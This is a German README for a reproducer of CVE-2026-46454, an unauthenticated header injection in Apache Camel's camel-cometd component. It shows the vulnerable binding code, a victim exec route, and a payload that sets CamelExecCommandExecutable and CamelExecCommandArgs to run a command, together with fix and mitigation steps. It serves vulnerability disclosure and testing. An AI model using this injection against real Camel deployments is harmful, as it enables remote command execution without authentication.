camel-cometd Inbound Bayeux-Header-Injection Reproducer (CVE-2026-46454)

Dieses Projekt demonstriert eine Message-Header-Injection im Apache Camel camel-cometd-Komponente, die als CVE-2026-46454 verfolgt wird. Die Komponente bildet eingehende Bayeux (CometD)-Message-Header in den Camel Exchange ohne einen HeaderFilterStrategy ab. CometdBinding.createCamelMessage kopiert die gesamte vom CometD-Client bereitgestellte ext.CamelHeaders-Map direkt auf die Camel-Nachricht (message.setHeaders(...)), sodass jeder Header-Name – einschließlich Camel-interner Steuerheader wie CamelHttpUri, CamelFileName, CamelJmsDestinationName (oder, wie hier, die camel-exec-Steuerheader) – unverändert akzeptiert wird. Da eine CometdComponent standardmäßig keine Bayeux SecurityPolicy installiert, kann jeder Client, der den Bayeux-Handshake abschließen kann, eine solche Nachricht ohne Authentifizierung veröffentlichen und nachgeschaltete Producer in der Route steuern.

Advisory: https://camel.apache.org/security/CVE-2026-46454.html

Zusammenfassung der Schwachstelle

Dieselbe Header-Injection-Familie wie CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 und CVE-2026-47323 – Komponenten, die eingehende Header in den Exchange abbilden, ohne den Camel-Namespace zu filtern.

Technische Details

// CometdBinding.createCamelMessage(...) - betroffen 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // liest client-seitige ext.CamelHeaders
if (headers != null) {
    message.setHeaders(headers);                                      // <-- kein HeaderFilterStrategy
}

Der Client kontrolliert ext.CamelHeaders, sodass er jeden beliebigen Camel-Steuerheader im Exchange setzen kann. Der Fix (4.14.8 / 4.18.3 / 4.21.0) implementiert einen HeaderFilterStrategy (ein seit langem offenes TODO im Code), der den Camel* / camel*-Namespace case-insensitiv beim eingehenden Mapping filtert.

Die Opfer-Route

from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // Der Routen-Autor beabsichtigt nur: echo hello auszuführen

Ein Angreifer veröffentlicht auf /service/inject mit ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; die Bindung bildet sie auf den Exchange ab und der exec-Producer führt stattdessen den Befehl des Angreifers aus.

Repository-Aufbau

In sich geschlossen: Der camel-cometd-Consumer betreibt einen eingebetteten Bayeux-Server (Port 8088) innerhalb der App, und der /exploit/attack-Endpunkt fungiert als unausthentifizierter CometD-Client.

CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # Angreifer BayeuxClient: Handshake + Veröffentlichung mit ext.CamelHeaders
    └── resources/
        └── application.properties

Voraussetzungen

• Java 17+ und Maven 3.8+
• Docker (führt den Reproducer aus)

Reproduktionsschritte

Schritt 1: Container bauen und starten

mvn clean package -DskipTests
docker compose up -d --build

Schritt 2: Die Header-Injection auslösen (RCE)

curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unausthentifiziert) und veröffentlicht auf /service/inject mit ext.CamelHeaders = {...}.
#    Der camel-cometd-Consumer hat sie auf den Exchange abgebildet; der exec-Producer hat den Befehl ausgeführt.
#
#    >>> RCE-Beweis — /tmp/pwned existiert: true

Schritt 3: Überprüfen

docker exec cve-2026-46454 ls -la /tmp/pwned

Aufräumen

docker compose down

Angriffsvektoren

Jede Route mit einem camel-cometd-Consumer, die einen nachgeschalteten Producer speist, dessen Verhalten durch Camel- Header gesteuert wird – ein HTTP-Producer (CamelHttpUri), ein Datei-Producer (CamelFileName), ein JMS-Producer (CamelJmsDestinationName), ein exec-Producer (CamelExecCommand*) usw. Jeder Client, der einen Handshake gegen den Bayeux-Endpunkt durchführen kann, kann sie injizieren; standardmäßig ist keine Authentifizierung erforderlich. Die injizierten Header bleiben über interne direct-, seda- und vm-Hops hinweg erhalten.

Exploit-Bedingungen

1. Ein camel-cometd-Consumer in einer betroffenen Version, der an einen header-kontrollierbaren Producer weiterleitet.
2. Keine Bayeux SecurityPolicy auf der CometdComponent (Standard), sodass jeder Client veröffentlichen kann.

Empfohlener Fix

Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507), das einen HeaderFilterStrategy zur cometd-Bindung hinzufügt, der client-seitig bereitgestellte Camel* / camel*-Header beim eingehenden Mapping blockiert.

Mitigation

Bis zum Upgrade:

1. Entfernen Sie Camel-Steuerheader am Beginn der Route: .removeHeaders("Camel*") und .removeHeaders("camel*").
2. Installieren Sie eine explizite Bayeux SecurityPolicy auf der CometdComponent, sodass nur authentifizierte Clients veröffentlichen können.

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.